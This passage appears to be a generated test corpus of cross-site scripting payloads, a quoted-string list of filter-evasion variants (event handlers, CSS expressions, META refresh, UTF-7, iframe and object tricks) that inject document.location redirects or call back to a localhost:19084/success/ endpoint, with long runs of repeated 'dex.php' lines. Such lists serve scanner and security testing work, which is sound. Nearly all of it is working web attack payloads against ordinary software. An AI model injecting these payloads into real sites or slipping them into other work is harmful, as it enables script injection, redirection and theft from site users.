      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/ec6279e52a2b3a5eba0b13a4d9da07b8\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC='http://localhost:19084/success/5688a180ad6c8ff4f68a89e5c27a4b0d'\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/819f6c73b35bbeb640f6e3ed6d41801c\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/643f94531717de85b7c2f1d083f2585a\"></FRAMESET>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/d6f89c7c208e84554a81545f088c8d01'>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/d37e8140d81da55c305cf73591aa662a]\">\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/6b5f8af1934dece42519e1779b9a73aa\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/7fd8b51b31c4422caea8d649864e08c0\"></IFRAME>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/736029660f52a5e1ed5eddf647cc02cf]\">\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/118d969e90ac06201441ba01344e49bf\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/f1f7535d0b72aba654f07f039a2a92c2\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/d8424b45acda7a02c31689593c5ef246\">\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/958e21cab0033e906a108b22d571cf5c\");}</STYLE><A CLASS=XSS></A>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/3a83475c687de0f37d37416da571962e\")}</STYLE>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/292183e2f195b421179a910a0bfe7816\")\";eval(a+b+c+d);\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/24fa567b77253ccdf4fe22a198cd2b63\">\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/e99c8439774a448c654268400104670f</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "--- <IMG SRC=\"http://localhost:19084/success/45bbbf3300d0913ffde1c46c4f597035\"\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "dex.php\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\"><SCRIPT>alert('8b944ca004346081714b9df381c8c925')</SCRIPT>\n",
      "</TITLE>40f6881a774db49a0eceb5a873c9d43d\n",
      "'';!--\"<d76aacdf824fe147492c2ebf32ae1a4e>=&{()}\"\n",
      "\">674bee0690b4a297d8132828b929c397\n",
      "\"><img src=\"x:x\" onerror=\"7a14c6de52acdf686ae2bd82a09ef8fb\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=2b0dcfabcc81d3580f506bfda5858e94>\n",
      "<IMG SRC=\"4cd6b0d66c85654875865b6b6524cddf\">\n",
      "'';!--\"<5199b6ddc601095f53b55266ef10f5e3>=&{()}\"\n",
      "<IMG SRC=6570e2412e23756380d782a46caabcd0>\n",
      "<IMG SRC=`dd3e3a7908b5bf1be47706e5bade446a`>\n",
      "<IMG \"\"\">bd099feee3d03f661593e7e70effc9e8\">\n",
      "<IMG SRC=\" &#14;  747894493c70c36b128f6cdad0235765\">\n",
      "<DIV STYLE=\"behaviour: url(03f5a1685855296d04411c93a6fde9bf);\">\n",
      "<<SCRIPT>82b945f1ee61f8036582d7eae41eeb35//<</SCRIPT>\n",
      "\";37ad8cc69ade4938b07baaab05bb4cf3//\n",
      "<IMG SRC='e3be30bae0309ae15c0913a80c1cbcc9'\n",
      "<BODY BACKGROUND=\"4f87b170eec38b16e47f90b23d8efe16\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"c49335ae8bd3671fece7a81ed5acbd74\">\n",
      "<BODY ONLOAD=c11e5b0f23aea9537ce1b2de77f68e54>\n",
      "<IMG DYNSRC=\"57eb78c3a886334b8a4b7719c66c2b2a\">\n",
      "<IMG LOWSRC=\"ea3be02d4269bdb83b176d348ca663c8\">\n",
      "<BGSOUND SRC=\"db36fce545aeefe7f15ad4221cae5abf\">\n",
      "<BR SIZE=\"&{271858a0a5d9b19ffe5be2de56c4ec8d}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"1d0745e5170e854064c4c69ae6e522eb\">\n",
      "<IMG SRC='vbscript:19315b92235dc7a5ef3acf1b544016a1'>\n",
      "<IMG SRC=\"mocha:[20e76341dc07d47d28348292feaee321]\">\n",
      "<IMG SRC=\"livescript:[f24ef6913c044e61042730ea14a241aa]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=40ee1087f4d63cdf64b8925a29c7d76a\">\n",
      "<TABLE BACKGROUND=\"577acb343a99f689d6974edf23ce97cc\">\n",
      "<TABLE BACKGROUND=javascript:6bb43929162bfd64b87cd8c0c115bcdc>\n",
      "<TABLE><TD BACKGROUND=\"954ee5df3a03dff9f778fb3d30238781\">\n",
      "<DIV STYLE=\"background-image: url(f1fcfe34268682ffd4b3e1d030d1680d);\">\n",
      "<DIV STYLE=\"width: expression(c09aacf1fdd23119c03df78b169c83ee);\">\n",
      "<IFRAME SRC=\"a28ce74d2d8645549672bf6afe2e91ca\"></IFRAME>\n",
      "<iframe/ /onload=b5fd646baaaa2055ca294a6af5ec25b1></iframe>\n",
      "<iframe/ \"onload=77809fa075031c6eff0dc797091f58c3></iframe>\n",
      "<iframe///////onload=a0c1fff93ca257a9b77d35d38a620ea9></iframe>\n",
      "<iframe \"onload=6d674496413fbb0620e52658280ad3c3></iframe>\n",
      "<iframe/ \"onload=df86c92e346fae2724e74ac7309da4e7></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=b50399be17f9059feb5833e656bee0b1></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=1d42e92723d6ffad97bc0f447826de03></iframe>\n",
      "<FRAMESET><FRAME SRC=\"7462cae779ab737587414189dbfa0796\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"575bdfdd44f1c5cc7b95baba4cf889aa\">\n",
      "<TABLE><TD BACKGROUND=\"810572497c30bf845379268ddb7e8b0f\">\n",
      "<DIV STYLE=\"width: expression(7c662a7c220fce95cd9533bc618f755b);\">\n",
      "<DIV STYLE=\"background-image: url(&#1;7e39c804e8ab00a1d662ad2649567b20)\">\n",
      "<IMG STYLE=\"xss:expr/*086f3daff3772c8dab38cedc775e7040*/ession(086f3daff3772c8dab38cedc775e7040)\">\n",
      "<cf58a8225d71bd34001257028a0d2c88 STYLE=\"xss:expression(cf58a8225d71bd34001257028a0d2c88)\">\n",
      "<STYLE TYPE=\"text/javascript\">f69eb11371205e6927cf872ca385a50a</STYLE>\n",
      "<STYLE>.abbc3fb6729cf56938445f4f0dd4a429{background-image:url(\"abbc3fb6729cf56938445f4f0dd4a429\");}</STYLE><A CLASS=abbc3fb6729cf56938445f4f0dd4a429></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"8c4fb8f67177a0a162e28d3d6c2b9ee0\")}</STYLE>\n",
      "<!--[if gte IE 4]>a574c4264a34064dd502a293a76ed04d<![endif]-->\n",
      "<BASE HREF=\"5315ad1d0bdfbc6bb24041202ee92d9d//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=b01cdf1679bf0a4b37d743e1ba4d434e></OBJECT>\n",
      "<SCRIPT SRC=http://127.0.0.1>1f9796fd40b9cc9ffece25b0e9b63d8d</SCRIPT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"001f58e31f7ecee68d2786b432cab8a4\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;fae3bd8102538877e43b35b8718d12ab&lt;/SCRIPT&gt;\">\n",
      "<? echo('<SCR)';echo('IPT>6ac810a2dadc4f9fcbc5dad3db17c5ab</SCRIPT>'); ?>\n",
      "<IMG SRC=\"&14;javascript:0cee993d9289e970ba46cc49a7ec55a7\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:781eefcb58842399ec281fb0a6932fda\">\n",
      "--- <IMG SRC=\" &#14;  d4ad12f0c3044442b89e67bbd23ba20d\">\n",
      "--- <IMG SRC=\"7092292fd120eafe8781cc181138daf5\"\n",
      "<SCRIPT>a=/b3395fd90edfbe7ac3c9d4b090e33eba/alert(a.source)</SCRIPT>\n",
      "--- \";2b9b762d0c7eaa955c75a72a89fa6c25;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=68d10c40a951ec930c82c092b9355a2a\">\n",
      "<SCRIPT <B>=f288c35a2b310e96702bfe2dd42d2de7\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:2784aeba1d4c5359954ebf80c0275f97 <\n",
      "<SCRIPT>a=/0b10188571519488bb6afe6cfb36d5ca/n0b10188571519488bb6afe6cfb36d5ca</SCRIPT>\n",
      "<LAYER SRC=\"javascript:2638d48c763745357839f32dd4950a5a></LAYER>\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:50cc43267f3e55c133e860ae64bed99d\">\n",
      "<STYLE>li {list-style-image: url(\"c564f3397a5e84ac798b98636a2b52f4</STYLE><UL><LI>c564f3397a5e84ac798b98636a2b52f4\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-89f7c96b6d7c3197b483bf3c002562a5+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#67fd9509668fa7139b4c66b5592f38a2\">\n",
      "<input type=\"image\" dynsrc=\"26085824acc6d804357e083f20aa0fa2\">\n",
      "&b4f9c3dc5ed4dcb00d7327379f61b21b\">\n",
      "<IMG SRC=&{f08683915dced419fa50e5b4e7a5e502};>\n",
      "&{d052d03b432f40fe59d133c68fdd07f5};\n",
      "<a href=\"about:e657b7ab62e3361f4ccb0c6d9201b209\">\n",
      "<DIV STYLE=\"binding: url(javascript:84e9b3c53722fa235e0b2db5605ab818);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:810cd87239a6f14a4530811bfd5a6ed6\">\n",
      "![CDATA[<!--]]<SCRIPT>bb6815515b0adcaff6e01a1ab7156710//--></SCRIPT>\n",
      "<style><!--</style><SCRIPT>b6244770fff6dc93b921db8165ff95c9//--></SCRIPT>\n",
      "<!-- -- -->6e49a55f0ed6d62c9516deac7f2175d4<!-- -- -->\n",
      "<xml id=\"X\"><a><b>99091115fbdf8431d24e47cfab4bf8e0;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#00970b3d6540431baa299bafc8d739a7\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:bc40f48d46365b2a1977f3daef161e37\">]]</C><X></xml>\n",
      "<textarea onfocus=javascript:818def85c2db55df755ed1b698b2589c autofocus>\n",
      "<input onfocus=javascript:4f0bcf3f52b213fe359e801f50f00c54 autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:176cebf65315f692473aa1d434a57fb4\">X\n",
      "<select onfocus=javascript:42fcb7d2fd164f24e550f1b5113f95d1 autofocus>\n",
      "<keygen onfocus=javascript:7bdbf06656d288f8f75fff2f3ff3e4a5 autofocus>\n",
      "<input onblur=javascript:5148d209cc806504a12364dac8b6cbf3 autofocus><input autofocus>\n",
      "<video poster=javascript:03d61debf65d64dc40a8e08034f810d4//\n",
      "<body onscroll=590f8836619bb39a0e3be4504421c1b6><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video><source onerror=\"javascript:6734106d6afff987513a01af16a61c90\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:2e21efe76d1832bb7c41972f63c1963e>X\n",
      "X<form id=test onforminput=javascript:54987ca4a34d1f662bd4b8161ee11e44><input></form>\n",
      "<video onerror=\"javascript:b8e7b5006d42b0296535f9543fabd618\"><source>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/8b944ca004346081714b9df381c8c925')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/7a14c6de52acdf686ae2bd82a09ef8fb\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/c49335ae8bd3671fece7a81ed5acbd74\">\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC='vbscript:http://localhost:19084/success/19315b92235dc7a5ef3acf1b544016a1'>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<IMG SRC=\"http://localhost:19084/success/4cd6b0d66c85654875865b6b6524cddf\">\n",
      "<IMG SRC=http://localhost:19084/success/6570e2412e23756380d782a46caabcd0>\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/8c4fb8f67177a0a162e28d3d6c2b9ee0\")}</STYLE>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=`http://localhost:19084/success/dd3e3a7908b5bf1be47706e5bade446a`>\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/1d0745e5170e854064c4c69ae6e522eb\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/ea3be02d4269bdb83b176d348ca663c8\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC='http://localhost:19084/success/e3be30bae0309ae15c0913a80c1cbcc9'\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/4f87b170eec38b16e47f90b23d8efe16\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/57eb78c3a886334b8a4b7719c66c2b2a\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/db36fce545aeefe7f15ad4221cae5abf\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/7462cae779ab737587414189dbfa0796\"></FRAMESET>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/f24ef6913c044e61042730ea14a241aa]\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/577acb343a99f689d6974edf23ce97cc\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "--- <IMG SRC=\"http://localhost:19084/success/7092292fd120eafe8781cc181138daf5\"\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/575bdfdd44f1c5cc7b95baba4cf889aa\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "dex.php\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IFRAME SRC=\"http://localhost:19084/success/a28ce74d2d8645549672bf6afe2e91ca\"></IFRAME>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/20e76341dc07d47d28348292feaee321]\">\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/954ee5df3a03dff9f778fb3d30238781\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/810572497c30bf845379268ddb7e8b0f\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/abbc3fb6729cf56938445f4f0dd4a429\");}</STYLE><A CLASS=XSS></A>\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/1f9796fd40b9cc9ffece25b0e9b63d8d</SCRIPT>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/001f58e31f7ecee68d2786b432cab8a4\")\";eval(a+b+c+d);\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<IMG SRC=&{http://localhost:19084/success/f08683915dced419fa50e5b4e7a5e502};>\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/26085824acc6d804357e083f20aa0fa2\">\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/bc40f48d46365b2a1977f3daef161e37\">]]</C><X></xml>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\">642af5a32c0a7ab9173de7d8c9430cf0\n",
      "\"><SCRIPT>alert('1f977128ee30b92db9f0278766a1f1f3')</SCRIPT>\n",
      "'';!--\"<93c28cafeb85218bb4784ca1699b3620>=&{()}\"\n",
      "</TITLE>923467b22509d450cc19b7ee3ef00edb\n",
